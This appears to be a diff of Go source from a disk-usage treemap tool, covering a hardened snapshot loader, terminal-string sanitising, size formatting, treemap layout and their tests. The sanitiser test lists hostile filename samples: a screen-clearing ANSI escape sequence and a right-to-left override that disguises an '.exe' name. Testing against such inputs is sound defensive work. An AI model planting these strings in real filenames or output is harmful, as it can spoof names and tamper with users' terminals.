return x, errOverflow
}
func (r *reader) bytesN(n uint64) []byte {
if r.err != nil {
return nil
}
b := make([]byte, n)
if _, err := io.ReadFull(r.r, b); err != nil {
r.fail("truncated: %v", err)
return nil
}
return b
}
func (r *reader) str(max uint64, what string) string {
return string(r.bytesN(r.uvarint(max, what+" length")))
}
// limitedReader fails (rather than silently truncating) past n bytes, so a
// decompression bomb is reported as such.
type limitedReader struct {
r io.Reader
n int64
}
func (l *limitedReader) Read(p []byte) (int, error) {
if l.n <= 0 {
return 0, errors.New("snapshot: decompressed size exceeds limit (possible decompression bomb)")
}
if int64(len(p)) > l.n {
p = p[:l.n]
}
n, err := l.r.Read(p)
l.n -= int64(n)
return n, err
}
// bodyLimit allows decompressed bodies up to 64× the compressed file size
// (real snapshots compress ~6×), with a 64 MiB floor for tiny files.
func bodyLimit(fileSize int64) int64 { return max(64<<20, fileSize*64) }
// nodeLimit caps the node count for a file of fileSize bytes. Real
// snapshots spend ~15 compressed bytes per node; a crafted one describes a
// node in a fraction of a byte, so without this a 1 MB file can demand
// gigabytes of memory while staying within bodyLimit.
func nodeLimit(fileSize int64) uint64 { return uint64(max(1<<20, fileSize)) }
// Load reads and validates a snapshot, allowing up to DefaultMaxBody bytes
// of decompressed data.
func Load(in io.Reader) (*inventory.Tree, error) { return LoadLimit(in, DefaultMaxBody) }
// LoadLimit is Load with an explicit decompressed-size limit.
func LoadLimit(in io.Reader, maxBody int64) (*inventory.Tree, error) {
return load(in, maxBody, MaxNodes)
}
func load(in io.Reader, maxBody int64, maxNodes uint64) (*inventory.Tree, error) {
br := bufio.NewReaderSize(in, 1<<20)
hdr := make([]byte, len(brand.SnapshotMagic)+4)
if _, err := io.ReadFull(br, hdr); err != nil {
return nil, errors.New("snapshot: file too short")
}
if string(hdr[:8]) != brand.SnapshotMagic {
return nil, errors.New("snapshot: not a " + brand.Name + " snapshot")
}
if v := binary.LittleEndian.Uint16(hdr[8:]); v != Version {
return nil, fmt.Errorf("snapshot: unsupported version %d (this build reads %d)", v, Version)
}
if binary.LittleEndian.Uint16(hdr[10:])&flagGzipped == 0 {
return nil, errors.New("snapshot: uncompressed bodies are not supported")
}
gz, err := gzip.NewReader(br)
if err != nil {
return nil, fmt.Errorf("snapshot: %w", err)
}
gz.Multistream(false)
// Decompression and hashing run on their own goroutine, overlapping
// with parsing. The pipe's close orders the hash and br accesses: the
// parser only sees EOF after the copier has finished with both.
h := sha256.New()
pr, pw := io.Pipe()
defer pr.Close() // unblocks the copier if we bail out early
go func() {
_, err := io.CopyBuffer(pw, io.TeeReader(&limitedReader{gz, maxBody}, h), make([]byte, 256<<10))
pw.CloseWithError(err)
}()
r := &reader{r: bufio.NewReaderSize(pr, 1<<16)}
var m meta
if mb := r.bytesN(r.uvarint(MaxMetaLen, "metadata length")); r.err == nil {
if err := json.Unmarshal(mb, &m); err != nil {
return nil, fmt.Errorf("snapshot: metadata: %w", err)
}
}
if r.err != nil {
return nil, r.err
}
t := inventory.New(m.Root, inventory.KindDir)
nExt := r.uvarint(maxExts, "extension count")
exts := make([]string, 0, min(nExt, 1024))
for range nExt {
exts = append(exts, r.str(MaxExtLen, "extension"))
}
if r.err != nil {
return nil, r.err
}
extIndex := t.ExtIndexer()
nNodes := r.uvarint(maxNodes, "node count")
depth := []uint16{0} // per node, for the depth limit; parents precede children
if r.err != nil {
return nil, r.err
}
if nNodes == 0 {
return nil, errors.New("snapshot: no root node")
}
for i := uint64(0); i < nNodes && r.err == nil; i++ {
pd := r.uvarint(MaxNodes, "parent")
kind := inventory.Kind(r.byte1())
cat := inventory.Category(r.byte1())
flags := inventory.Flags(r.uvarint(1<<16-1, "flags"))
name := r.str(MaxNameLen, "name")
size, alloc, mtime := r.varint("size"), r.varint("alloc"), r.varint("mtime")
mode := r.uvarint(1<<32-1, "mode")
uid := r.uvarint(1<<32-1, "uid")
gid := r.uvarint(1<<32-1, "gid")
nlink := r.uvarint(1<<32-1, "nlink")
ext := r.uvarint(nExt, "ext")
if r.err != nil {
break
}
if kind > inventory.KindOther || cat >= inventory.NumCategories {
r.fail("node %d: invalid kind/category", i)
break
}
if size < 0 || alloc < 0 || size > MaxSize || alloc > MaxSize {
r.fail("node %d: size out of range", i)
break
}
var id inventory.NodeID
if i == 0 {
if pd != 0 || kind != inventory.KindDir && nNodes > 1 {
r.fail("invalid root")
break
}
id = 0
rn := t.Node(0)
rn.Kind = kind
} else {
if pd == 0 || pd > i {
r.fail("node %d: invalid parent reference", i)
break
}
parent := inventory.NodeID(i - pd)
if t.Node(parent).Kind != inventory.KindDir {
r.fail("node %d: parent is not a directory", i)
break
}
if !validName(name) {
r.fail("node %d: invalid name %q", i, name)
break
}
if d := depth[parent] + 1; d > MaxDepth {
r.fail("node %d: deeper than %d levels", i, MaxDepth)
break
}
id = t.Add(parent, name, kind)
depth = append(depth, depth[parent]+1)
}
n := t.Node(id)
n.Cat, n.Flags = cat, flags
n.Size, n.Alloc, n.MTime = size, alloc, mtime
n.Mode, n.UID, n.GID, n.Nlink = uint32(mode), uint32(uid), uint32(gid), uint32(nlink)
if kind != inventory.KindDir && ext < uint64(len(exts)) {
n.Ext = extIndex(exts[ext])
}
}
nErr := r.uvarint(inventory.MaxErrorRecords, "error count")
for range nErr {
node := r.uvarint(nNodes-1, "error node")
kind := inventory.ErrKind(r.byte1())
name := r.str(MaxNameLen, "error name")
msg := r.str(MaxMsgLen, "error message")
if r.err != nil {
break
}
if kind >= inventory.NumErrKinds {
kind = inventory.ErrOther
}
t.Stats.Errors = append(t.Stats.Errors, inventory.ErrorRecord{Node: inventory.NodeID(node), Kind: kind, Name: name, Msg: msg})
}
if r.err != nil {
return nil, r.err
}
// The body must end here, then the checksum follows the gzip stream.
if _, err := r.r.ReadByte(); err != io.EOF {
return nil, errors.New("snapshot: trailing data in body")
}
sum := make([]byte, sha256.Size)
if _, err := io.ReadFull(br, sum); err != nil {
return nil, errors.New("snapshot: missing checksum")
}
if !bytes.Equal(sum, h.Sum(nil)) {
return nil, errors.New("snapshot: checksum mismatch (file corrupt)")
}
t.Recompute()
st := &t.Stats
st.Start, st.End, st.Complete, st.Cancelled = m.Start, m.End, true, m.Cancelled
st.Files, st.Dirs, st.Symlinks, st.Others = m.Files, m.Dirs, m.Symlinks, m.Others
copy(st.ErrCounts[:], m.ErrCounts)
st.Excluded, st.SkippedMounts, st.VirtualSkipped = m.Excluded, m.SkippedMounts, m.VirtualSkipped
st.LoopsSkipped, st.BrokenLinks, st.HardlinkDups, st.Unscanned = m.LoopsSkipped, m.BrokenLinks, m.HardlinkDups, m.Unscanned
st.Excludes, st.OneFileSystem, st.Follow, st.Workers = m.Excludes, m.OneFileSystem, m.Follow, m.Workers
st.FromSnapshot = fmt.Sprintf("%s (%s, %s)", m.Created.Local().Format("2006-01-02 15:04"), m.Host, m.Generator)
return t, nil
}
func validName(s string) bool {
return s != "" && s != "." && s != ".." && !strings.ContainsAny(s, "/\x00")
}
// LoadFile opens and loads a snapshot file.
func LoadFile(path string) (*inventory.Tree, error) {
f, err := os.Open(path)
if err != nil {
return nil, err
}
defer f.Close()
limit, nodes := int64(DefaultMaxBody), uint64(MaxNodes)
if fi, err := f.Stat(); err == nil {
limit, nodes = bodyLimit(fi.Size()), nodeLimit(fi.Size())
}
return load(f, limit, nodes)
}
-139
View File
@@ -1,139 +0,0 @@
package snapshot
import (
"bufio"
"bytes"
"encoding/binary"
"testing"
"github.com/andydixon/mapsize/internal/inventory"
)
func sample() *inventory.Tree {
t := inventory.New("/srv", inventory.KindDir)
a := t.Add(0, "a", inventory.KindDir)
b := t.Add(0, "b", inventory.KindDir)
f1 := t.Add(a, "x.iso", inventory.KindFile)
t.Node(f1).Size, t.Node(f1).Alloc = 1000, 1024
f2 := t.Add(b, "y.log", inventory.KindFile)
t.Node(f2).Size, t.Node(f2).Alloc = 50, 4096
t.Node(f2).Flags = inventory.FlagSparse
t.Recompute()
t.Stats.Files, t.Stats.Dirs = 2, 3
t.Stats.AddError(inventory.ErrorRecord{Node: b, Kind: inventory.ErrPermission, Msg: "denied"})
return t
}
func TestRoundTrip(t *testing.T) {
src := sample()
var buf bytes.Buffer
if err := Save(&buf, src); err != nil {
t.Fatal(err)
}
got, err := Load(bytes.NewReader(buf.Bytes()))
if err != nil {
t.Fatal(err)
}
if got.Len() != src.Len() {
t.Fatalf("len %d want %d", got.Len(), src.Len())
}
for i := range src.Len() {
a, b := src.Node(inventory.NodeID(i)), got.Node(inventory.NodeID(i))
if a.Name != b.Name || a.TotSize != b.TotSize || a.TotAlloc != b.TotAlloc || a.Flags != b.Flags ||
src.Path(inventory.NodeID(i)) != got.Path(inventory.NodeID(i)) || src.ExtName(a) != got.ExtName(b) {
t.Fatalf("node %d differs: %+v vs %+v", i, a, b)
}
}
if got.Stats.ErrCounts[inventory.ErrPermission] != 1 || len(got.Stats.Errors) != 1 {
t.Fatalf("errors not restored: %+v", got.Stats)
}
}
func TestCorruptionDetected(t *testing.T) {
var buf bytes.Buffer
Save(&buf, sample())
data := buf.Bytes()
// Flip a byte in the checksum trailer.
bad := append([]byte(nil), data...)
bad[len(bad)-1] ^= 0xff
if _, err := Load(bytes.NewReader(bad)); err == nil {
t.Fatal("checksum corruption not detected")
}
// Every truncation must fail cleanly.
for i := 0; i < len(data)-1; i += 7 {
if _, err := Load(bytes.NewReader(data[:i])); err == nil {
t.Fatalf("truncation at %d accepted", i)
}
}
}
func FuzzLoad(f *testing.F) {
var buf bytes.Buffer
Save(&buf, sample())
f.Add(buf.Bytes())
f.Add([]byte("MAPSIZE\x00\x01\x00\x01\x00"))
f.Fuzz(func(t *testing.T, data []byte) {
tr, err := Load(bytes.NewReader(data))
if err != nil {
return
}
// A successfully loaded tree must be internally consistent.
for i := 1; i < tr.Len(); i++ {
if p := tr.Node(inventory.NodeID(i)).Parent; p >= inventory.NodeID(i) {
t.Fatalf("parent %d >= child %d", p, i)
}
}
_ = tr.Path(inventory.NodeID(tr.Len() - 1))
})
}
func TestCompare(t *testing.T) {
old := sample()
nw := inventory.New("/srv", inventory.KindDir)
a := nw.Add(0, "a", inventory.KindDir)
f1 := nw.Add(a, "x.iso", inventory.KindFile)
nw.Node(f1).Size, nw.Node(f1).Alloc = 5000, 5120
c := nw.Add(0, "c", inventory.KindDir)
f3 := nw.Add(c, "z", inventory.KindFile)
nw.Node(f3).Size, nw.Node(f3).Alloc = 10, 4096
nw.Recompute()
d := Compare(old, nw)
if d.StatusOf(f1, inventory.SizeAllocated) != Grew || d.Delta(f1, inventory.SizeAllocated) != 4096 {
t.Fatalf("x.iso: %v %d", d.StatusOf(f1, 0), d.Delta(f1, 0))
}
if d.StatusOf(c, 0) != Added {
t.Fatal("c should be new")
}
if len(d.Removed) != 1 || old.Node(d.Removed[0]).Name != "b" {
t.Fatalf("removed %v", d.Removed)
}
ch := d.Changes(10, inventory.SizeAllocated)
paths := map[string]Status{}
for _, c := range ch {
paths[c.Path] = c.Status
}
if paths["/srv/a/x.iso"] != Grew || paths["/srv/b"] != Removed || paths["/srv/c"] != Added {
t.Fatalf("changes %+v", ch)
}
if _, ok := paths["/srv/a"]; ok {
t.Fatal("/srv/a should be explained by its child")
}
if _, ok := paths["/srv/c/z"]; ok {
t.Fatal("contents of new dirs should not be listed separately")
}
}
func TestReadUvarintMatchesStdlib(t *testing.T) {
for _, v := range []uint64{0, 1, 127, 128, 300, 1 << 35, 1<<64 - 1} {
buf := binary.AppendUvarint(nil, v)
got, err := readUvarint(bufio.NewReader(bytes.NewReader(buf)))
if err != nil || got != v {
t.Fatalf("%d: got %d %v", v, got, err)
}
}
bad := bytes.Repeat([]byte{0xff}, 11)
if _, err := readUvarint(bufio.NewReader(bytes.NewReader(bad))); err == nil {
t.Fatal("overflow not detected")
}
}
-160
View File
@@ -1,160 +0,0 @@
// Package textutil holds display helpers: sanitising untrusted strings for
// the terminal, width-aware truncation, and human-readable units.
package textutil
import (
"fmt"
"strings"
"unicode/utf8"
"github.com/charmbracelet/x/ansi"
"github.com/rivo/uniseg"
)
// Sanitize makes an untrusted string (a filename, snapshot data) safe to
// write to a terminal. Control characters (C0, DEL, C1) and bidi overrides are
// replaced by visible escapes; invalid UTF-8 becomes U+FFFD. The original
// string should be kept for filesystem operations.
func Sanitize(s string) string {
clean := true
for i := 0; i < len(s); i++ {
if c := s[i]; c < 0x20 || c >= 0x7f {
clean = false
break
}
}
if clean {
return s
}
var b strings.Builder
b.Grow(len(s) + 8)
for i := 0; i < len(s); {
r, size := utf8.DecodeRuneInString(s[i:])
if r == utf8.RuneError && size <= 1 {
b.WriteRune(utf8.RuneError)
i++
continue
}
i += size
switch {
case r < 0x20 || r == 0x7f || (r >= 0x80 && r <= 0x9f):
fmt.Fprintf(&b, `\x%02x`, r)
case isBidiControl(r):
fmt.Fprintf(&b, `\u%04x`, r)
default:
b.WriteRune(r)
}
}
return b.String()
}
func isBidiControl(r rune) bool {
return (r >= 0x202a && r <= 0x202e) || (r >= 0x2066 && r <= 0x2069) ||
r == 0x200e || r == 0x200f || r == 0x061c
}
// Clusters calls fn for each grapheme cluster of s with its display width.
// Clusters whose width terminals disagree on (per-rune wcwidth versus
// grapheme width, e.g. emoji ZWJ sequences) are replaced by U+FFFD with
// width 1, and zero-width clusters are dropped, so that measuring and
// drawing always agree with the terminal. fn returns false to stop.
func Clusters(s string, fn func(c string, w int) bool) {
state := -1
for s != "" {
var c string
var w int
c, s, w, state = uniseg.FirstGraphemeClusterInString(s, state)
if w == 0 {
continue
}
if len(c) > 1 && ansi.WcWidth.StringWidth(c) != w {
c, w = "\uFFFD", 1
}
if !fn(c, w) {
return
}
}
}
// Width returns the display width of s in terminal cells.
func Width(s string) int {
n := 0
for i := 0; i < len(s); i++ {
if s[i] < 0x20 || s[i] >= 0x7f {
Clusters(s, func(_ string, w int) bool { n += w; return true })
return n
}
}
return len(s)
}
// Truncate clips s to at most w cells, appending "…" if anything was cut.
func Truncate(s string, w int) string {
if w <= 0 {
return ""
}
if Width(s) <= w {
return s
}
return clip(s, w-1) + "…"
}
// TruncateLeft clips from the left, prefixing "…" (used for paths and
// breadcrumbs where the tail is the informative part).
func TruncateLeft(s string, w int) string {
if w <= 0 {
return ""
}
total := Width(s)
if total <= w {
return s
}
skip := total - (w - 1)
var b strings.Builder
Clusters(s, func(c string, cw int) bool {
if skip > 0 {
skip -= cw
if skip < 0 {
// A wide cluster overshot by one cell; pad to keep width exact.
b.WriteString(strings.Repeat(" ", -skip))
}
return true
}
b.WriteString(c)
return true
})
return "…" + b.String()
}
// clip returns the longest prefix of s that fits in w cells.
func clip(s string, w int) string {
var b strings.Builder
used := 0
Clusters(s, func(c string, cw int) bool {
if used+cw > w {
return false
}
used += cw
b.WriteString(c)
return true
})
return b.String()
}
// PadRight pads s with spaces to exactly w cells (truncating if longer).
func PadRight(s string, w int) string {
s = Truncate(s, w)
if d := w - Width(s); d > 0 {
s += strings.Repeat(" ", d)
}
return s
}
// PadLeft right-aligns s in w cells.
func PadLeft(s string, w int) string {
s = Truncate(s, w)
if d := w - Width(s); d > 0 {
s = strings.Repeat(" ", d) + s
}
return s
}
-74
View File
@@ -1,74 +0,0 @@
package textutil
import (
"strings"
"testing"
)
func TestSanitize(t *testing.T) {
cases := map[string]string{
"plain.txt": "plain.txt",
"evil\x1b[2Jname": `evil\x1b[2Jname`,
"bell\a": `bell\x07`,
"c1\u009bx": `c1\x9bx`,
"bad\xffutf8": "bad�utf8",
"rtl\u202egnp.exe": `rtl\u202egnp.exe`,
"日本語": "日本語",
"tab\tnew\nline\rdel\x7f": `tab\x09new\x0aline\x0ddel\x7f`,
}
for in, want := range cases {
if got := Sanitize(in); got != want {
t.Errorf("Sanitize(%q) = %q, want %q", in, got, want)
}
if strings.ContainsAny(Sanitize(in), "\x1b\a\u009b") {
t.Errorf("control byte survived in %q", in)
}
}
}
func TestTruncate(t *testing.T) {
if got := Truncate("hello world", 5); got != "hell…" {
t.Errorf("got %q", got)
}
if got := Truncate("日本語テキスト", 5); Width(got) > 5 {
t.Errorf("wide truncation overflow: %q width %d", got, Width(got))
}
if got := Truncate("abc", 3); got != "abc" {
t.Errorf("got %q", got)
}
if got := Truncate("abc", 0); got != "" {
t.Errorf("got %q", got)
}
if got := TruncateLeft("/a/very/long/path", 8); Width(got) != 8 || !strings.HasSuffix(got, "path") {
t.Errorf("TruncateLeft got %q", got)
}
if got := TruncateLeft("ab日本語", 4); Width(got) != 4 {
t.Errorf("TruncateLeft wide got %q (%d)", got, Width(got))
}
}
func TestSize(t *testing.T) {
cases := map[int64]string{0: "0 B", 1023: "1023 B", 1024: "1.00 KiB", 1536: "1.50 KiB",
181 << 30: "181 GiB", 1 << 62: "4.00 EiB"}
for in, want := range cases {
if got := Size(in); got != want {
t.Errorf("Size(%d)=%q want %q", in, got, want)
}
}
if got := Count(2184392); got != "2,184,392" {
t.Errorf("Count got %q", got)
}
if got := SignedSize(-2048); got != "-2.00 KiB" {
t.Errorf("SignedSize got %q", got)
}
}
func TestClustersAgreeWithWidth(t *testing.T) {
for _, s := range []string{"abc", "日本", "é", "👨‍👩‍👧", "🎉x", "​"} {
n := 0
Clusters(s, func(_ string, w int) bool { n += w; return true })
if n != Width(s) {
t.Errorf("%q: clusters %d width %d", s, n, Width(s))
}
}
}
-125
View File
@@ -1,125 +0,0 @@
package textutil
import (
"fmt"
"strconv"
"time"
)
// SI selects decimal units (kB, MB, …). The default is IEC (KiB, MiB, …).
// It is set once at start-up, before any goroutines format sizes.
var SI bool
var (
iecUnits = []string{"B", "KiB", "MiB", "GiB", "TiB", "PiB", "EiB"}
siUnits = []string{"B", "kB", "MB", "GB", "TB", "PB", "EB"}
)
func scaled(n int64) (float64, string) {
base, units := 1024.0, iecUnits
if SI {
base, units = 1000.0, siUnits
}
neg := n < 0
v := float64(n)
if neg {
v = -v
}
i := 0
for v >= base && i < len(units)-1 {
v /= base
i++
}
if neg {
v = -v
}
return v, units[i]
}
func num(v float64, unit string) string {
a := v
if a < 0 {
a = -a
}
switch {
case unit == "B":
return strconv.FormatFloat(v, 'f', 0, 64)
case a < 10:
return strconv.FormatFloat(v, 'f', 2, 64)
case a < 100:
return strconv.FormatFloat(v, 'f', 1, 64)
default:
return strconv.FormatFloat(v, 'f', 0, 64)
}
}
// Size formats a byte count, e.g. "86.4 GiB".
func Size(n int64) string {
v, u := scaled(n)
return num(v, u) + " " + u
}
// SizeCompact formats a byte count in at most ~7 cells, e.g. "86GiB".
func SizeCompact(n int64) string {
v, u := scaled(n)
a := v
if a < 0 {
a = -a
}
if u != "B" && a < 10 {
return strconv.FormatFloat(v, 'f', 1, 64) + u
}
return strconv.FormatFloat(v, 'f', 0, 64) + u
}
// SignedSize formats a delta with an explicit sign.
func SignedSize(n int64) string {
if n > 0 {
return "+" + Size(n)
}
if n < 0 {
return "-" + Size(-n)
}
return "±0 B"
}
// Count formats an integer with thousands separators.
func Count(n int64) string {
s := strconv.FormatInt(n, 10)
neg := false
if n < 0 {
neg, s = true, s[1:]
}
out := make([]byte, 0, len(s)+len(s)/3)
for i := range len(s) {
if i > 0 && (len(s)-i)%3 == 0 {
out = append(out, ',')
}
out = append(out, s[i])
}
if neg {
return "-" + string(out)
}
return string(out)
}
// Duration formats an elapsed time as mm:ss or h:mm:ss.
func Duration(d time.Duration) string {
s := int64(d.Seconds())
if s >= 3600 {
return fmt.Sprintf("%d:%02d:%02d", s/3600, s/60%60, s%60)
}
return fmt.Sprintf("%02d:%02d", s/60, s%60)
}
// Percent formats part/whole as a percentage.
func Percent(part, whole int64) string {
if whole <= 0 {
return "–"
}
p := float64(part) * 100 / float64(whole)
if p < 10 {
return strconv.FormatFloat(p, 'f', 1, 64) + "%"
}
return strconv.FormatFloat(p, 'f', 0, 64) + "%"
}
-106
View File
@@ -1,106 +0,0 @@
package treemap
// Direction is an arrow-key direction.
type Direction int
const (
Left Direction = iota
Right
Up
Down
)
// Neighbour finds the block a user expects to reach by pressing an arrow
// key from the block with ID sel:
//
// 1. Only blocks entirely beyond the selected block's edge in the
// direction of travel are candidates.
// 2. Blocks whose span overlaps the selected block's orthogonal span are
// strongly preferred over all others.
// 3. Then the smallest gap along the direction of travel wins.
// 4. Then the largest overlap with the selected block's span.
// 5. Then the block whose orthogonal span is closest to the selected
// block's centre line (0 if it contains it).
// 6. Ties break by position (top, then left) and finally ID.
//
// It returns false if there is no block in that direction.
func Neighbour(blocks []Block, sel int64, d Direction) (int64, bool) {
var s Block
found := false
for _, b := range blocks {
if b.ID == sel {
s, found = b, true
break
}
}
if !found {
return 0, false
}
type score struct {
tier, gap, ovl, off, y, x int
id int64
}
less := func(a, b score) bool {
switch {
case a.tier != b.tier:
return a.tier < b.tier
case a.gap != b.gap:
return a.gap < b.gap
case a.ovl != b.ovl:
return a.ovl > b.ovl
case a.off != b.off:
return a.off < b.off
case a.y != b.y:
return a.y < b.y
case a.x != b.x:
return a.x < b.x
}
return a.id < b.id
}
var best score
have := false
for _, c := range blocks {
if c.ID == sel {
continue
}
var gap, lo, hi, clo, chi int
var ok bool
switch d {
case Right:
ok, gap = c.X >= s.X+s.W, c.X-(s.X+s.W)
lo, hi, clo, chi = s.Y, s.Y+s.H, c.Y, c.Y+c.H
case Left:
ok, gap = c.X+c.W <= s.X, s.X-(c.X+c.W)
lo, hi, clo, chi = s.Y, s.Y+s.H, c.Y, c.Y+c.H
case Down:
ok, gap = c.Y >= s.Y+s.H, c.Y-(s.Y+s.H)
lo, hi, clo, chi = s.X, s.X+s.W, c.X, c.X+c.W
case Up:
ok, gap = c.Y+c.H <= s.Y, s.Y-(c.Y+c.H)
lo, hi, clo, chi = s.X, s.X+s.W, c.X, c.X+c.W
}
if !ok {
continue
}
tier, ovl := 1, min(hi, chi)-max(lo, clo)
if ovl > 0 {
tier = 0
} else {
ovl = 0
}
// Distance (doubled, to stay integral) from the selected centre
// line to the candidate's span; 0 if the span contains it.
centre := lo + hi
off := 0
if centre < 2*clo {
off = 2*clo - centre
} else if centre > 2*chi {
off = centre - 2*chi
}
sc := score{tier, gap, ovl, off, c.Y, c.X, c.ID}
if !have || less(sc, best) {
best, have = sc, true
}
}
return best.id, have
}
-189
View File
@@ -1,189 +0,0 @@
// Package treemap is pure geometry: squarified layout on a cell grid,
// level-of-detail selection and spatial neighbour search. It has no
// knowledge of filesystems or terminals.
package treemap
import (
"math"
"sort"
)
// Rect is an integer cell rectangle.
type Rect struct{ X, Y, W, H int }
// Empty reports whether r has no cells.
func (r Rect) Empty() bool { return r.W <= 0 || r.H <= 0 }
// Area returns W*H.
func (r Rect) Area() int { return max(r.W, 0) * max(r.H, 0) }
// Contains reports whether the cell (x, y) is inside r.
func (r Rect) Contains(x, y int) bool { return x >= r.X && x < r.X+r.W && y >= r.Y && y < r.Y+r.H }
// Inset shrinks r by n cells on each side.
func (r Rect) Inset(n int) Rect {
r = Rect{r.X + n, r.Y + n, r.W - 2*n, r.H - 2*n}
if r.W < 0 {
r.W = 0
}
if r.H < 0 {
r.H = 0
}
return r
}
// Item is something to lay out. Size must be > 0 to receive space.
type Item struct {
ID int64
Size float64
}
// Block is a laid-out item.
type Block struct {
ID int64
Rect
}
// Squarify lays items out inside bounds using the squarified treemap
// algorithm (Bruls, Huizing, van Wijk). Items with non-positive size are
// ignored. The output partitions bounds exactly: rectangle edges are snapped
// to the grid by rounding shared float edges, so there are no gaps and no
// overlaps. Items that round to zero width or height are omitted. The result
// is deterministic for a given input set regardless of input order.
func Squarify(items []Item, bounds Rect) []Block {
if bounds.Empty() {
return nil
}
its := make([]Item, 0, len(items))
total := 0.0
for _, it := range items {
if it.Size > 0 && !math.IsInf(it.Size, 0) && !math.IsNaN(it.Size) {
its = append(its, it)
total += it.Size
}
}
if len(its) == 0 || total <= 0 {
return nil
}
sort.SliceStable(its, func(i, j int) bool {
if its[i].Size != its[j].Size {
return its[i].Size > its[j].Size
}
return its[i].ID < its[j].ID
})
scale := float64(bounds.W) * float64(bounds.H) / total
areas := make([]float64, len(its))
for i, it := range its {
areas[i] = it.Size * scale
}
frs := layout(areas, float64(bounds.X), float64(bounds.Y), float64(bounds.W), float64(bounds.H))
out := make([]Block, 0, len(its))
for i, f := range frs {
x0, y0 := int(math.Round(f[0])), int(math.Round(f[1]))
x1, y1 := int(math.Round(f[0]+f[2])), int(math.Round(f[1]+f[3]))
x1 = min(x1, bounds.X+bounds.W)
y1 = min(y1, bounds.Y+bounds.H)
if x1 > x0 && y1 > y0 {
out = append(out, Block{ID: its[i].ID, Rect: Rect{x0, y0, x1 - x0, y1 - y0}})
}
}
return out
}
// worst returns the worst aspect ratio of a row with the given sum, largest
// and smallest areas laid along a side of length side.
func worst(sum, largest, smallest, side float64) float64 {
s2, w2 := sum*sum, side*side
return math.Max(w2*largest/s2, s2/(w2*smallest))
}
// layout returns float rectangles [x, y, w, h] for areas sorted descending.
func layout(areas []float64, x, y, w, h float64) [][4]float64 {
out := make([][4]float64, len(areas))
n := len(areas)
for i := 0; i < n; {
short := math.Min(w, h)
j := i + 1
sum := areas[i]
cur := worst(sum, areas[i], areas[i], short)
for j < n {
s2 := sum + areas[j]
if nw := worst(s2, areas[i], areas[j], short); nw > cur {
break
} else {
cur = nw
}
sum = s2
j++
}
last := j == n
if w >= h {
thick := sum / h
if last || thick > w {
thick = w
}
yy := y
for k := i; k < j; k++ {
hh := areas[k] / sum * h
if k == j-1 {
hh = y + h - yy
}
out[k] = [4]float64{x, yy, thick, hh}
yy += hh
}
x += thick
w -= thick
} else {
thick := sum / w
if last || thick > h {
thick = h
}
xx := x
for k := i; k < j; k++ {
ww := areas[k] / sum * w
if k == j-1 {
ww = x + w - xx
}
out[k] = [4]float64{xx, y, ww, thick}
xx += ww
}
y += thick
h -= thick
}
i = j
}
return out
}
// Visible decides how many leading items of a size-sorted (descending)
// list deserve their own block when area cells represent total: items are
// kept while each would get at least minArea cells and fewer than maxItems
// have been kept. The remainder should be merged into one group block.
func Visible(sizes []float64, total float64, area, minArea, maxItems int) int {
if total <= 0 || area <= 0 {
return 0
}
k := 0
for k < len(sizes) && k < maxItems {
if sizes[k]/total*float64(area) < float64(minArea) {
break
}
k++
}
// Grouping a single leftover item gains nothing; show it directly if it
// gets at least one cell.
if k == len(sizes)-1 && k < maxItems && sizes[k]/total*float64(area) >= 1 {
k++
}
return k
}
// At returns the block containing the cell (x, y).
func At(blocks []Block, x, y int) (int64, bool) {
for _, b := range blocks {
if b.Contains(x, y) {
return b.ID, true
}
}
return 0, false
}
-247
View File
@@ -1,247 +0,0 @@
package treemap
import (
"math/rand"
"testing"
)
func checkPartition(t *testing.T, blocks []Block, b Rect, exact bool) {
t.Helper()
grid := make([]int, b.W*b.H)
for _, bl := range blocks {
if bl.W <= 0 || bl.H <= 0 {
t.Fatalf("non-positive block %+v", bl)
}
if bl.X < b.X || bl.Y < b.Y || bl.X+bl.W > b.X+b.W || bl.Y+bl.H > b.Y+b.H {
t.Fatalf("block %+v outside bounds %+v", bl, b)
}
for y := bl.Y; y < bl.Y+bl.H; y++ {
for x := bl.X; x < bl.X+bl.W; x++ {
i := (y-b.Y)*b.W + (x - b.X)
if grid[i] != 0 {
t.Fatalf("overlap at %d,%d", x, y)
}
grid[i] = 1
}
}
}
if exact {
for i, v := range grid {
if v == 0 {
t.Fatalf("gap at %d,%d", b.X+i%b.W, b.Y+i/b.W)
}
}
}
}
func TestSquarifyBasic(t *testing.T) {
b := Rect{2, 3, 60, 20}
items := []Item{{1, 6}, {2, 6}, {3, 4}, {4, 3}, {5, 2}, {6, 2}, {7, 1}}
blocks := Squarify(items, b)
if len(blocks) != len(items) {
t.Fatalf("got %d blocks", len(blocks))
}
checkPartition(t, blocks, b, true)
// Areas roughly proportional.
for _, bl := range blocks {
want := float64(b.Area()) * items[bl.ID-1].Size / 24
if got := float64(bl.Area()); got < want*0.6-4 || got > want*1.4+4 {
t.Errorf("block %d area %v want ~%v", bl.ID, got, want)
}
}
// Deterministic regardless of input order.
rev := append([]Item(nil), items...)
for i, j := 0, len(rev)-1; i < j; i, j = i+1, j-1 {
rev[i], rev[j] = rev[j], rev[i]
}
b2 := Squarify(rev, b)
for i := range blocks {
if blocks[i] != b2[i] {
t.Fatal("layout depends on input order")
}
}
}
func TestSquarifyEdgeCases(t *testing.T) {
if Squarify(nil, Rect{0, 0, 10, 10}) != nil {
t.Fatal("nil items")
}
if Squarify([]Item{{1, 0}, {2, -5}}, Rect{0, 0, 10, 10}) != nil {
t.Fatal("zero sizes should produce nothing")
}
for _, b := range []Rect{{0, 0, 0, 0}, {0, 0, 1, 1}, {0, 0, 1, 50}, {0, 0, 50, 1}, {0, 0, -3, 4}} {
bl := Squarify([]Item{{1, 5}, {2, 3}, {3, 1}}, b)
if !b.Empty() {
checkPartition(t, bl, b, true)
}
}
// One enormous item and many tiny ones.
items := []Item{{0, 1e15}}
for i := 1; i < 500; i++ {
items = append(items, Item{int64(i), 1})
}
bl := Squarify(items, Rect{0, 0, 80, 24})
checkPartition(t, bl, Rect{0, 0, 80, 24}, true)
}
func TestResizeRecomputes(t *testing.T) {
items := []Item{{1, 50}, {2, 30}, {3, 20}}
for _, b := range []Rect{{0, 0, 80, 24}, {0, 0, 120, 40}, {0, 0, 300, 80}, {0, 0, 70, 20}, {0, 0, 180, 50}} {
bl := Squarify(items, b)
checkPartition(t, bl, b, true)
if len(bl) != 3 {
t.Fatalf("%v: %d blocks", b, len(bl))
}
}
}
func FuzzSquarify(f *testing.F) {
f.Add(int64(1), 80, 24, 10)
f.Add(int64(2), 3, 2, 100)
f.Add(int64(3), 300, 90, 1000)
f.Fuzz(func(t *testing.T, seed int64, w, h, n int) {
w, h, n = w%400, h%150, n%3000
